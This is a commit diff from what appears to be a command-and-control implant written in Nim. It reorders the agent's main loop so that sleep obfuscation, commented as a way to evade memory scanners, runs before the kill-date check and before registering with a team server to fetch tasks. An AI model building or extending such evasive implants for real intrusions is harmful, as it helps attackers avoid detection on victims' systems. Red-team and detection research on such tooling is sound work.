Implemented agent working hours.

This commit is contained in:
Jakob Friedl
2025-10-28 23:02:48 +01:00
parent 7f89487fb7
commit 6ab3cbafa0
10 changed files with 230 additions and 28 deletions

View File

@@ -15,8 +15,8 @@ proc main() =
#[
Agent routine:
1. Check kill date
2. Sleep Obfuscation
1. Sleep obfuscation
2. Check kill date
3. Register to the team server if not already connected
4. Retrieve tasks via checkin request to a GET endpoint
5. Execute task and post result
@@ -25,14 +25,14 @@ proc main() =
]#
while true:
try:
# Check kill date and exit the agent process if it is already passed
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Check kill date and exit the agent process if it is reached
if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate:
print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)."
print "[*] Exiting."
exit()
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Register
if not ctx.registered: